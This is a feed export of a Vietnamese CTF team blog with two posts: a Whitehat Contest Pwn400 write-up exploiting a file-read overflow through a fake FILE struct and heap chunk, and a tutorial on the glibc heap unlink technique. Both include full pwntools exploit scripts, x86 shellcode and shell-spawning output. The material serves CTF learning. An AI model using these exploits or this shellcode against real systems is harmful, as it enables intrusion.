hardtobelieve – BabyPhD CTF Team https://babyphd.net Nói chung đây là một khái niệm vô cùng trừu tượng Mon, 12 Sep 2016 09:44:28 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 104079289 Whitehat Contest 12 - Pwn400 https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/ https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/#comments Sun, 11 Sep 2016 16:29:10 +0000 https://babyphd.net/?p=600 Continue reading Whitehat Contest 12 - Pwn400 ]]>

Líp vẫn nhớ và yêu Híp nhiều lắm ...

Chiến đấu bên những người anh em luôn làm tôi cảm thấy thoải mái và phấn khích. Đợt contest này cả đội đã có 1 ngày không ngủ, cũng gần như không ăn, chỉ dùng lon bò húc để cầm hơi. Cả đội đã rất nỗ lực và hy vọng tràn trề khi lúc đầu liên tục tranh giành top 1 với kỳ phùng địch thủ. Cho đến giữa đêm, do thiếu một chút may mắn ( tôi thì không nghĩ vậy, đêm là khoảng thời gian tôi hay rơi vào trạng thái không ổn định pudency ) mà mọi người mất dần ý chí chiến đấu, nhìn đội khác vươn lên. Có lẽ nếu như tôi dành được 400 điểm từ bài này thì mọi chuyện đã khác. Nhưng dù sao "có lẽ" vẫn chỉ là 1 từ người ta dùng để biện hộ cho lỗi lầm của mình mà thôi.

Đề bài cho 1 file binary có chức năng dùng để viết và đọc 1 file trên server. Thoạt nhìn, tôi đã thấy bài này quen rồi, và có vẻ như chủ đề này vừa được tôi nghiên cứu cách đây 2 tháng. Ta có thể thấy lỗi khá rõ ràng ở hàm `read_file`

int read_file()
{
  char ptr; // [sp+18h] [bp-110h]@4
  size_t n; // [sp+118h] [bp-10h]@4
  FILE *stream; // [sp+11Ch] [bp-Ch]@1

  printf("file name: ");
  __fpurge(stdin);
  gets(name);
  stream = fopen(name, "rb");
  if ( !stream )
  {
    puts("Error: cannot open file. ");
    exit(1);
  }
  fseek(stream, 0, 2);
  n = ftell(stream);
  fseek(stream, 0, 0);
  fread(&ptr, 1u, n, stream);            // Does not check boundary of ptr
  puts(&ptr);
  return fclose(stream);
}

Như vậy, ta có thể cho chương trình đọc một nội dung file có kích thước lớn để kích hoạt lỗi buffer overflow. Tuy nhiên, ta cũng thấy `ptr` nằm ở `sp + 18h` còn `stream` thì nằm ở `sp + 11Ch` nên có thể khai thác lỗi bằng cách dùng bảng IO_FILE_JUMP.

Bài toán 1

Vẫn chiến thuật cũ, tôi bắt đầu từ chương trình đơn giản hơn là gọi hàm `fclose()` với tham số truyền vào là một mảng char. Sau một thời gian sử dụng gdb và "lỗi đến đâu sửa đến đó", tôi đã tìm được những giá trị cần có trong mảng

#include <stdio.h>
char a[256];

int main () {
    *((int *)a + 1) = 0xdeadbeaf;
    *((int *)a + 0x48 / 4) = a;
    *((int *)a + 0x94 / 4) = a - 4;
    fclose(a);
    return 0;
}

Và tất nhiên, kết qủa sẽ là `Invalid $PC address: 0xdeadbeaf`. Tuy nhiên, lần này tôi cũng nhận ra một điều là tôi không thể truyền được tham số khi gọi hàm theo kiểu này. Nếu cấc bạn step từng bước để vào bên trong libc, các bạn sẽ thấy trước khi call ,libc sẽ thực hiện:

push 0x0
push esi                            ; file pointer
call DWORD PTR [eax + 0x8]

Tôi phát hiện ra rằng chương trình không có stack protector, nên nếu như tôi lừa libc cho nó chạy như bình thường với mảng char, tôi có thể đè lên EIP và các gía trị sau đố rồi làm như những bài BoF bình thường. Tôi thử gọi hàm puts thì được kết qủa:

free(): invalid pointer: 0x0804a060 ***

Không ngoài dự đoán, theo như những gì google được thì hàm `fclose()` sau khi thực hiện việc đóng file sẽ giải phóng bộ nhớ đã cấp trước đó ( file pointer cũng là "híp" mà big_smile ).

Bài toán 2

Như vậy, ngoài việc biến mảng a thành một con trỏ file giả, thì ta cũng cần biến nó thành một heap chunk giả nữa. Tiếp tục sử dụng gdb, lần này thêm một cửa sổ khác để debug chương trình mà free một con trỏ đã malloc thực sự. Việc này giúp ta dễ dàng theo dõi luồng thực thi của chương trình đúng và biết sẽ phải sửa cái gì cho chương trình sai. Sau một hồi lâu sửa đi sửa lại, tôi cũng có được những gía trị cần tìm ( ở đây tôi chọn fclose(a + 16) cho nó thoải mái, tránh trường hợp truy xuất vào ô nhớ nào đó phía trước ):

#include <stdio.h>
char a[256];

int main () {
    puts("abcd");
    *((int *)a + 3) = 0xa1;
    *((int *)a + 4 + 1) = 0x8048350;
    *((int *)a + 4 + 0x48 / 4) = a + 16;
    *((int *)a + 4 + 0x94 / 4) = a + 16 - 4;
    *((int *)a + 43) = 0x20b59;
    *((int *)a + 44) = a + 34*4;
    *((int *)a + 45) = a + 38*4;
    *((int *)a + 34 + 3) = a + 42*4;
    *((int *)a + 38 + 2) = a + 42*4;
    fclose(a + 16);
    return 0;
}

Vậy là xong rồi, quay trở lại bài readfile, ta sẽ thực hiện 2 công việc:

  • Gọi hàm write_file để tạo ra một file tên là "inp", nội dung sẽ là `padding + name_address + padding + rop chain`
  • Gọi hàm read_file, đọc file có tên là "inp\x00" + fake_file_struct mà ta vừa tạo ra

Ez local shell, Ez life

[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Puts: 0xf7e5cb80
[*] Printf: 0xf7e46590
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode

$ id
uid=1000(tuanit96) gid=1000(hardtobelieve) groups=1000(hardtobelieve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
tuanit96
$  

Bài toán 3

Proof of Concept

from pwn import *

def read_file(name):
	s.sendline("2")
	s.recvuntil("file name: ")
	s.sendline(name)

def write_file(name, content):
	s.sendline("1")
	s.recvuntil("file name: ")
	s.sendline(name)
	s.recvuntil("Give me the size: ")
	#print s.recv()
	s.sendline(str(len(content)))
	s.recvuntil("Give me the buffer: ")
	s.sendline(content)

name1 = "/tmp/abc"
name2 = "/tmp/def"
name3 = "/tmp/ghi"

name_addr = 0x804a0a0 + 16
puts_plt = 0x80485b0
puts_got = 0x804a01c
printf_got = 0x804a000
popret = 0x080486c3
start = 0x8048640

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(puts_plt) + p32(popret) + p32(puts_got) + p32(puts_plt) + p32(popret) + p32(printf_got))

s.close()

#s = remote("118.70.80.143", 23504)
s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
s.recvuntil("0:exit\n")

fake_file = "\x00"*4*1 + p32(0xa1) + "\x00"*4*1              # 2 blocks
fake_file += p32(puts_plt) + "\x00"*4*16         # 17 blocks
fake_file += p32(name_addr) + "\x00"*4*14        # 15 blocks
fake_file += p32(name_addr + 38*4) + "\x00"*4*2    # 3 blocks
fake_file += p32(name_addr + 38*4)                 # 1 blocks
fake_file += p32(name_addr - 4) + "\x00"*4*1     # 2 blocks
fake_file += p32(0x20b59)                        # 1 blocks
fake_file += p32(name_addr + 30*4)                 # 1 blocks
fake_file += p32(name_addr + 34*4)

payload1 = name1 + fake_file
read_file(payload1)
data = s.recv()
data += s.recv()

puts = u32(data.split('\n')[-3][:4])
printf = u32(data.split('\n')[-2][:4])
log.info("Puts: " + hex(puts))
log.info("Printf: " + hex(printf))

s.close()

system = printf - 0x00049590 + 0x0003ad80
binsh = printf - 0x00049590 + 0x15ba3f

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(system) + p32(popret) + p32(binsh))

s.close()

#s = remote("103.237.99.25",  23504)
s = remote("localhost", 4000)
s.recvuntil("0:exit\n")
read_file(payload1)
s.interactive()

Tôi hí hửng exploit với con server của họ, ngờ đâu nó chết không thương tiếc beat_brick. Đờ đẫn một lúc không hiểu chuyện gì xảy ra, tôi mới thử đem sang một máy khác chạy bản ubuntu cũ hơn tôi, và nó cũng chịu chung số phận. Có vẻ libc ở bản cũ và bản mới khác nhau ( cách xử lý, offset, ... ). Lúc đó là 2h đêm và nghĩ đến việc giờ ngồi debug lại trên libc-2.19 là tôi lại muốn đi ... Ý boss. Tôi thầm mắng chửi ban tổ chức, lẽ ra phải đưa cả libc cho người chơi chứ, nhưng rồi lại nhận ra, có lẽ họ cũng không biết được điều đó xảy ra, cũng giống mình ban nãy vậy.

Vậy là tôi đã đánh mất 400 điểm dù nó đã nằm trong tay, cảm giác thật giống với việc tối đã để tuột mất tay Híp khi vẫn còn đang nắm chặt vậy ...

]]>
https://babyphd.net/2016/09/11/whitehat-contest-11-pwn400/feed/ 2 600
Unlink technique https://babyphd.net/2016/04/07/unlink-technique/ Thu, 07 Apr 2016 15:01:11 +0000 https://babyphd.net/?p=498 Continue reading Unlink technique ]]> Đây là một trong những kỹ thuật cơ bản dùng để khai thác lỗ hổng ở vùng nhớ heap

Cấu trúc heap

Glibc tổ chức 1 heap chunk như sau:

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

Thông thường sau khi malloc, nếu ta dump heap ra thì sẽ chỉ thấy 2 thành phần là `prev_size` và `size`. 2 thành phần chính còn lại là fd và bk sẽ xuất hiện sau khi ta free.

Trước khi free

heap_before_free

  • Prev_size: Nếu heapchunk liền trước không đc sử dụng, trường này sẽ chứa size của heapchunk đó. Còn nếu heapchunk trước đang được sử dụng, prev_size sẽ chứa dữ liệu từ người dùng
  • size: Trường size không những thể hiện kích thước của heap, mà còn chứa thêm 3 thông tin tương ứng với 3 bit cuối cùng
    1. -PREV_INUSE(P): Bit P bằng 1 khi chunk trước được dùng và bằng 0 khi chunk trước không được dùng
    2. IS_MAPPED(M): Bit M bằng 1 khi địa chỉ của chunk được mmap
    3. NON_MAIN_ARENA(N): Bit N bằng 1 khi chunk thuộc thread arena

Sau khi free

heap_after_free

  • Prev_size: Lúc này prev_size sẽ luôn chứa dữ liệu người dùng từ heapchunk trước đó, vì glibc không cho phép 2 chunk liên tiếp đều ở trạng thái đã bị free
  • size: Vẫn giữ nguyên khi chưa free
  • fd: Trường fd chứa địa chỉ của chunk kế tiếp trong cùng 1 bin ( Bin là 1 danh sách các chunks đã được free, sẽ được nói đến trong 1 bài riêng )
  • bk: Trường bk chứa địa chỉ của chunk liền trước trong cùng 1 bin

Unlink trong free()

Thao tác unlink được glibc định nghĩa là:

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD; 
        if (!in_smallbin_range (P->size) 
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
              malloc_printerr (check_action,
                               "corrupted double-linked list (not small)",
                               P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                  FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize; 
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                  }
              } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
              }
          }
      }
}

Khi ta gọi hàm free(), về cơ bản chương trình sẽ thực hiện các thao tác sau:

  • Kiểm tra một số điều kiện về kích thước
  • Kiểm tra liệu có chunk liền sau chunk hiện tại và size của nó chứa thông tin chỉ ra rằng chunk hiện tại đang được sử dụng
  • Kiểm tra chunk hiện tại có nằm ở đầu freelist hay không
  • Kiểm tra chunk liền trước có phải cũng đang ở trạng thái free không
  • Nếu có, thực hiện thao tác unlink chunk đó vào nhập 2 chunk làm 1
  • Nối lại chunk sau khi đã nhập làm 1 vào freelist

Ta có thể thấy thao tác unlink có thể giúp ta có được quyền viết vào một vùng bất kỳ:

FD->bk = BK;
BK->fd = FD;

Tuy nhiên, muốn làm được vậy, ta phải bypass qua điều kiện kiểm tra của glibc. Ta sẽ xét ví dụ cụ thể sau

 

Kịch bản (Heap overflow)

Giả sử ta có

#include <stdio.h>

int list_addr[2];
int main () {
	list_addr[0] = (char *)malloc(0x80);
	list_addr[1] = (char *)malloc(0x80);
	gets(list_addr[0]);
	free(list_addr[1]);
	gets(list_addr[0]);
	gets(list_addr[0]);
	printf ("Good bye!\n");
	return 0;
}

Chương trình sẽ yêu cầu hàm malloc một vùng nhớ là 0x80, vì giá trị này nằm ở giữa small bin và large bin (Sẽ được nói đến trong 1 bài riêng), từ đó khi thực hiện các thao tác trong lúc free sẽ đơn giản hơn.

Dễ thấy rằng ta có thể viết đè từ chunk1 sang chunk2 nhờ hàm gets(), từ đó sau khi free chunk2, ta sẽ làm cho hàm free sát nhập chunk1 vào chunk2 mặc dù chunk1 đang ở trong trạng thái được sử dụng. Đầu tiên, hàm free() sẽ kiểm tra bit PREV_INUSE(P) của chunk2

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
}

Trước khi unlink chunk1 để sát nhập, hàm free có một bước kiểm tra để khẳng định chunk liền trước và liền sau chunk1 đang trỏ vào chunk1

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);

Tuy nhiên, trước đó chương trình dùng 1 biến toàn cục để chứa địa chỉ của các heapchunk đã malloc nên ta có thể dựa vào đây để bypass qua câu lệnh if này. Ta cần lưu ý ở đây, vì khi free, chương trình sử dụng địa chỉ thực của heapchunk chứ không phải địa chỉ trả về cho người dùng, nên khi tạo các thông tin giả, ta phải tạo cách địa chỉ trả về ít nhất 2 blocks tương ứng với prev_size và size của chunk1, ta gọi là chunk11.

Tổng kết lại, ta cần thực hiện các bước sau:

  • Bit P của chunk2 phải được gán bằng 0 để báo với hàm free() rằng chunk11 đã được free trước đó
  • Trường fd của chunk11 sẽ chứa địa chỉ của ô nhớ cách nơi lưu địa chỉ các heapchunk 3 blocks (12 bytes)
  • Trường bk của chunk11 sẽ chứa địa chỉ của ô nhớ cách nới lưu địa chỉ các heapchunk 2 blocks (8 bytes)
  • prev_size của chunk2 phải chứa size của chunk11

 

Proof of concept

Sau khi unlink được thì có thể có nhiều cách để khai thác tiếp: viết đè EIP, sử dụng fini_array, tls_dtor_list... Để đơn giản, bài viết sẽ khai thác bằng cách viết đè lên bảng GOT để trỏ vào nơi chứa shellcode.

from pwn import *

s = remote("localhost", 1928)

heap_addr = 0x0804b000
list_addr = 0x0804a030
puts_got = 0x0804a018
payload = ""
block_size = 4
sh = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x31\xc9\xcd\x80"

payload += "\x00"*2*block_size
payload += p32(list_addr - 3*block_size)
payload += p32(list_addr - 2*block_size)
payload += sh + "\x90"*11
payload += "\x00"*17*block_size
payload += p32(0x80)
payload += p32(0x89 & ~1)
payload += "\n"
payload += "\x00"*3*block_size + p32(puts_got)
payload += "\n"
payload += p32(heap_addr + 6*block_size)
payload += "\n"

s.send(payload)
s.interactive()

Trước khi nhập payload

before

Trước khi nhập payload

before2

Sau khi free

after

-> Ưu điểm: Có thể viết bất nơi đâu mà không làm hỏng vùng nhớ xung quanh nó.

-> Nhược điểm: Thông thường chương trình phải có nơi lưu lại địa chỉ của các heapchunk.

 

Double free

Đây là lỗi khi mà hàm free() thực hiện thao tác free đối vs 1 đối tượng 2 lần. Về cơ bản, thao tác tạo chunk giả để unlink cũng giống với heap overflow, nhưng kịch bản ở đây sẽ khác:

  • Malloc chunk1 có kích thước 0x80
  • Malloc chunk2 có kích thước 0x80
  • Free chunk2 và chunk1
  • Malloc chunk3 có kích thước 0x100
  • Tạo chunk1 giả và chunk2 giả trong lòng chunk3
  • Free chunk2

 

REFERENCES:  https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

]]>
498